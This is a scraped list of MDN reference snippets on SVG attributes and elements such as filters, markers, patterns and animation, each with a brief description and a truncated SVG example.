two elements are using this attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be perfor...
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="emboss1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#emb...
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
only one element is using this attribute: <marker> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <p...
overflow - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <iframe>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <text> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <text y="20">this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes for a description of the values, please see the css overflow property.
paint-order - SVG: Scalable Vector Graphics
example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="url(#g)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="round" text-anchor="middle" font-family="sans-serif" font-size="50px" font-weight...
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
two elements are using this attribute: <animatemotion> and <textpath> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path id="mypath" fill="none" stroke="silver" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <text> <textpath path="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50"> quick brown fox jumps over the lazy dog.
pathLength - SVG: Scalable Vector Graphics
seven elements are using this attribute: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; } </style> <!-- no pathlength, the real length of the path is used.
patternContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- a pattern tile that content coordinates and values are computed against the current coordinate user space.
patternTransform - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
patternUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- all geometry properties are relative to the current user space --> <pattern id="p1" x="12.5" y="12.5" width="25" height="25" patternunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- all geometry properties are relative to the target bounding box --> <pattern id="p2" x=".125" y=".125" width=".25" height=".25" patternunits="objectboundingbox"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="10...
pointsAtX - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200...
pointsAtY - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200...
pointsAtZ - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="80" /> ...
preserveAlpha - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/md...
r - SVG: Scalable Vector Graphics
WebSVGAttributer
two elements are using this attribute: <circle>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient r="0" id="mygradient000"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="50%" id="mygradient050"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="100%" id="mygradient100"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> <r...
repeatCount - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number> this value specifies the numb...
repeatDur - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value> this value specifies the...
requiredExtensions - SVG: Scalable Vector Graphics
the iri names for the extension should include versioning information, such as "http://example.org/svgextensionxyz/1.0", so that script writers can distinguish between different versions of a given extension.
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.ge...
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
seventeen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> usage n...
rotate - SVG: Scalable Vector Graphics
WebSVGAttributerotate
examples svg <svg width="400" height="120" viewbox="0 0 480 120" xmlns="http://www.w3.org/2000/svg"> <!-- draw the outline of the motion path in grey --> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="themotionpath"/> <!-- red arrow which will not rotate --> <path fill="red" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" rep...
rx - SVG: Scalable Vector Graphics
WebSVGAttributerx
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" rx="0" ry="25" /> <ellipse cx="150" cy="50" rx="25" ry="25" /> <ellipse cx="250" cy="50" rx="50" ry="25" /> <rect x="20" y="120" width="60" height="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape.
ry - SVG: Scalable Vector Graphics
WebSVGAttributery
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" ry="0" rx="25" /> <ellipse cx="150" cy="50" ry="25" rx="25" /> <ellipse cx="250" cy="50" ry="50" rx="25" /> <rect x="20" y="120" width="60" height="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape.
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves=...
side - SVG: Scalable Vector Graphics
WebSVGAttributeside
only one element is using this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes ...
specularConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="specularlighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </fil...
specularExponent - SVG: Scalable Vector Graphics
two elements are using this attribute: <fespecularlighting> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="1"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="5"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(...
startOffset - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <path id="path1" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1" startoffset="0"> quick brown fox jumps over the lazy dog.
stdDeviation - SVG: Scalable Vector Graphics
only one element is using this attribute: <fegaussianblur> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stddeviation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stddeviation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stddeviation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur3); transform: tr...
stitchTiles - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: transl...
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <rect width="80" height="40" x="10" y="10" style="fill: skyblue; stroke: cadetblue; stroke-width: 2;"/> </svg> usage notes value <style> default value none animatable no <style> the syntax of style data depends on the style sheet language.
surfaceScale - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <r...
tabindex - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <?xml version="1.0"?> <svg viewbox="0 0 260 260" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="15" tabindex="1" /> <circle cx="60" cy="160" r="30" tabindex="3" /> <circle cx="160" cy="60" r="30" tabindex="2" /> <circle cx="160" cy="160" r="60" tabindex="4" /> </svg> usage notes value valid integer default value none animatable no valid integer relative order of the element for the purposes of sequential focus navigation.
tableValues - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 1"/> <fefuncg type="table" tablevalues="...
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> </a> </...
text-decoration - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" text-decoration="underline">underlined text</text> <text x="0" y="40" text-decoration="line-through">struck-through text</text> </svg> usage notes value <'text-decoration-line'> || <'text-decoration-style'> || <'text-decoration-color'> default value see individual properties animatable yes for a description o...
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributetype="xml" attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation.
version - SVG: Scalable Vector Graphics
WebSVGAttributeversion
<svg version="1.1" viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="80" height="80"/> </svg> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'version' in that specification.
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
atrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> feblend for <feblend>, width defines the horizontal length for the rendering area of the primitive.
word-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" word-spacing="2">bigger spacing between words</text> <text x="0" y="40" word-spacing="-0.5">smaller spacing between words</text> </svg> usage notes value normal | <length> animatable yes default values normal for a description of the values, please refer to the css letter-spacing property.
writing-mode - SVG: Scalable Vector Graphics
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
xChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" s...
xlink:href - SVG: Scalable Vector Graphics
22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object.
xml:lang - SVG: Scalable Vector Graphics
<svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
xml:space - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg viewbox="0 0 140 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" xml:space="default">default spacing</text> <text y="40" xml:space="preserve">preserved spacing</text> </svg> usage notes value default | preserve default value default animatable no default with this value set, whitespace characters will be processed in this order: all newline characters are remo...
yChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" s...
z - SVG: Scalable Vector Graphics
WebSVGAttributez
two elements are using this attribute: <fepointlight> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="10" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="50" /> </fediffuselight...
zoomAndPan - SVG: Scalable Vector Graphics
two elements are using this attribute: <svg> and <view> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" zoomandpan="disable"> <filter id="diffuselighting" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes value disable | magn...
Compatibility sources - SVG: Scalable Vector Graphics
the following sources are used for the compatibility tables on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <rect width="10" height="10"> <animate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event ...
<animateColor> - SVG: Scalable Vector Graphics
example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="50"> <animatecolor attributename="fill" attributetype="xml" from="black" to="red" dur="6s" repeatcount="indefinite"/> </circle> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatecolor>' in that specification.
<animateMotion> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin: 0; padding: 0; display:block; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes k...
<animateTransform> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample attr...
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="50"/> </svg> attributes cx the x-axis coordinate of the center of the circle.
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- some graphical objects to use --> <defs> <circle id="mycircle" cx="0" cy="0" r="5" /> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-- using my graphical objects ...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <desc> i'm a circle and that description is here to demonstrate how i can be described, but is it really necessary to describe a simple circle like me?
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ellipse.
<feBlend> - SVG: Scalable Vector Graphics
WebSVGElementfeBlend
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="green" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color...
<feColorMatrix> - SVG: Scalable Vector Graphics
